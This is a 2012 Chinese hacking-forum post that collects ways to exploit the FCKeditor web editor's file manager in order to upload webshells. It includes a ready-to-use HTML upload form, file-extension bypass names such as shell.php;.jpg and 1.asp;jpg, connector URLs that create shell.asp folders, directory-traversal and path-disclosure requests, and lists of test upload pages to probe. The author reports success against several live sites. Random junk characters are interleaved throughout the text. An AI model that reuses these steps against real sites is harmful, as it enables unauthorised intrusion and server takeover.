找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2937|回复: 0
打印 上一主题 下一主题

Fckeditor漏洞 (2)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:01:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Fckeditor漏洞利用总结  
, V2 C! N3 ^) E3 x查看编辑器版本$ e. t8 F- @) {# K; [
FCKeditor/_whatsnew.html
) t  A" a6 D8 n, \+ t! ]—————————————————————————————————————————————————————————————' f( e7 G7 k$ T  F( j9 t9 K8 K
9 N* w; Y; S, D8 u& l
2. Version 2.2 版本
% a: u4 b7 ~* o, p  L( sApache+linux 环境下在上传文件后面加个.突破!测试通过。
' w) f% w! U3 R: E/ k—————————————————————————————————————————————————————————————
) c# D# ]4 ~3 Z/ x6 y. P: S6 n1 E
: J; A5 V. G( J& L5 t8 @3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
9 }. l; z8 i9 F<form id="frmUpload" enctype="multipart/form-data"& o# z1 M, @: F) C8 s
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
% {" C. i7 B2 N1 C1 `<input type="file" name="NewFile" size="50"><br>
* j: y0 {) ]* z! X7 y) X/ I$ N<input id="btnUpload" type="submit" value="Upload"># {  R! a! X& ~! s! Y' }
</form>5 o" C8 E# b  W+ O" O
—————————————————————————————————————————————————————————————
) y2 X* F4 e' b" W2 O9 C) F( k. g4 v* x+ s0 p3 F
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
5 j  j: c5 ~1 A9 ]3 N2 u1 o/ P        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。" [6 N. ]; i4 |' Q
    4.1:提交shell.php+空格绕过+ R% H- y. q1 a7 w% Y' F% U* \
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。' }; P$ S9 \* S
    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
4 V) U0 d0 C8 y7 E! F4 d! L' X—————————————————————————————————————————————————————————————2 i% j* W2 ~5 P6 n" d  {

+ d8 F$ I; F, [# r- s5. 突破建立文件夹0 F! U3 t1 L( ^4 @: @
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
9 z# y1 q$ B- s# w% S& w) wFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
$ S% k' X  V. l—————————————————————————————————————————————————————————————
- n! S# l% e6 g# q7 D, t7 a1 j
4 M& N, w- G# d6. FCKeditor 中test 文件的上传地址
" h* K; K& A1 H4 ^$ n1 Y# X* yFCKeditor/editor/filemanager/browser/default/connectors/test.html
" K- g( H  V% D# }# IFCKeditor/editor/filemanager/upload/test.html
) H& `  ?" G% y9 T" x: h) f0 VFCKeditor/editor/filemanager/connectors/test.html
8 v9 e: n5 z! C' u% {" L5 PFCKeditor/editor/filemanager/connectors/uploadtest.html$ Y- D8 |* O$ s- g' P; B% u0 S
—————————————————————————————————————————————————————————————3 X8 K( u/ ~/ a; t8 d' z# }

) y( [8 Z  _; q( w# @7.常用上传地址
' M3 [$ O4 L6 L& v* ~! QFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=// @. o$ f  T# E6 y/ `* e
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
9 l! I2 s% ]- M, }9 _FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
! g. q5 k6 L  f% }, R9 eJSP 版:
2 l# }. v; Q: A0 Q6 zFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp( J3 z1 r# ^0 _3 ?  O: e! S* u
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文1 q- s* g" Q2 g! C6 R0 a
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。( b2 j) l2 b3 N( |
—————————————————————————————————————————————————————————————
) G- I! h( H7 [. u* x
. x" B; A9 D1 Y8.其他上传地址
4 w# O/ v7 l8 H9 z* D, mFCKeditor/_samples/default.html4 G3 `2 \0 l- [4 G, x
FCKeditor/_samples/asp/sample01.asp9 N  w* [! \# P; E+ G
FCKeditor/_samples/asp/sample02.asp
2 @- s: p- W% L+ L9 YFCKeditor/_samples/asp/sample03.asp
1 D% e  t: s6 W  H+ D7 S7 ?FCKeditor/_samples/asp/sample04.asp. x' _: i6 Y( g' C. m$ H
一般很多站点都已删除_samples 目录,可以试试。
' l9 X% i) y6 j3 x) W: a$ WFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。. P3 L; X6 u9 \2 e: N: A( C
—————————————————————————————————————————————————————————————
$ p4 G% R) w8 t- w' M( I9 N1 b
) y; O( s4 C& D8 t9 Q! R' k, V0 ?9.列目录漏洞也可助找上传地址# H* x" z0 Z0 B6 h2 n
Version 2.4.1 测试通过5 R. o9 m* F, O0 S  }6 D
修改CurrentFolder 参数使用 ../../来进入不同的目录
' n+ j5 t$ V0 L% z0 s- e/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp" ^3 Y9 M/ ]6 K# l! `1 g
根据返回的XML 信息可以查看网站所有的目录。
; M3 |2 h7 v" gFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
% c  m1 Y2 M6 I; B3 T也可以直接浏览盘符:2 L( {8 b# G, Y; `1 w+ u2 P! W' \- S- N( c" \
JSP 版本:
% `3 N/ \4 q" K# ^FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
9 \, }7 D( h3 H0 o) p6 v—————————————————————————————————————————————————————————————$ l2 B7 Z1 V) R. L) f% z* G' ~
5 m) R$ ~0 {' [' ]8 \2 `8 |4 {
10.爆路径漏洞7 ~- Z* B0 p- n/ d" L9 _  W( [
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
* I6 m" `. ]9 b; I2 V—————————————————————————————————————————————————————————————
3 ~# ]8 x9 d4 y0 _( N; [  i$ \  C8 [1 b- x3 n+ `& Y, _) b" ?
11. FCKeditor 被动限制策略所导致的过滤不严问题6 t3 X$ }& n* y7 ~1 q
        影响版本: FCKeditor x.x <= FCKeditor v2.4.35 Z! v  I" ~; t2 I) V8 ]
脆弱描述:
& a# u! n/ N" K+ X# L; j4 O( X' l% U+ NFCKeditor v2.4.3 中File 类别默认拒绝上传类型:) J5 r* F3 A8 \& }1 T5 f% B6 P
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
) J) d+ }# G& q; JFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
; l4 m9 _2 K% \        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。$ P+ U; U& B2 d: |/ m$ c% I; Z
        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!6 b; s- w; X& H8 W1 J/ E2 D) k
—————————————————————————————————————————————————————————————
. P3 R- P8 }) o2 i" p. n. ]7 D( L8 ]) Y5 X* @
12.最古老的漏洞,Type文件没有限制!
* @7 A% O# x+ p  P- C" U1 N! I        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 7 ]7 f' h; W1 h5 j/ r
—————————————————————————————————————————————————————————————
  h4 I- `& v& U
' Z4 r4 ?5 x1 s* v! q* F6 ~) U===============================================================================================================================================& E* [5 D9 n2 L( I  d

0 d- I4 Q3 `3 F, H) SFCK编辑器jsp版本漏洞:
4 F$ G$ B) [) A9 M" o" G5 J% j8 K$ b
; \& R# C3 Y# O* W
0 r) M' Y: G2 U! O2 ghttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
; v7 _+ Y4 x  Y% }+ K
9 D. R8 \: `) b6 Y. k; o! C% K上传马所在目录
1 W! A+ ?5 V& T/ EFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
) V8 M; F  M4 z. }上传shell的地址:* N7 s. s; C5 o. M# W
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector6 e: @" B7 S1 m" o$ b9 q
跟版本有关系.并不是百分百成功. 测试成功几个站.
) y: U2 [; i; Y- Q不能通杀.很遗憾.6 @: ]4 k# \. a+ a, z
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
& ?. ^; m. Y* W3 U, ~9 h2 b如果以上地址不行可以试试
! r, u( S3 ^4 z# ]' H/ G2 ]FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
" ~5 q; o! P& r* _3 ^" M: l- kFCKeditor/_samples/7 o, Z/ `+ l  ^8 l/ A) s3 [+ b4 I
FCKeditor/_samples/default.html, {0 g& Q7 y/ i5 O4 k2 J3 ]
FCKeditor/editor/fckeditor.htm8 G4 s! x9 ?& x4 G* p: P. V2 h
FCKeditor/editor/fckdialog.html1 Q9 Y4 f( @( M# f3 B: n. w
& q; L/ k0 f1 g2 b& g2 _& q4 I

0 @# P, Z8 y$ C3 k
; @4 H. S9 g0 v# L$ T$ _解析漏洞+未重命名文件时上传漏洞  1.asp;jpg
+ q6 @% R& D# H- A, s0 n) ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表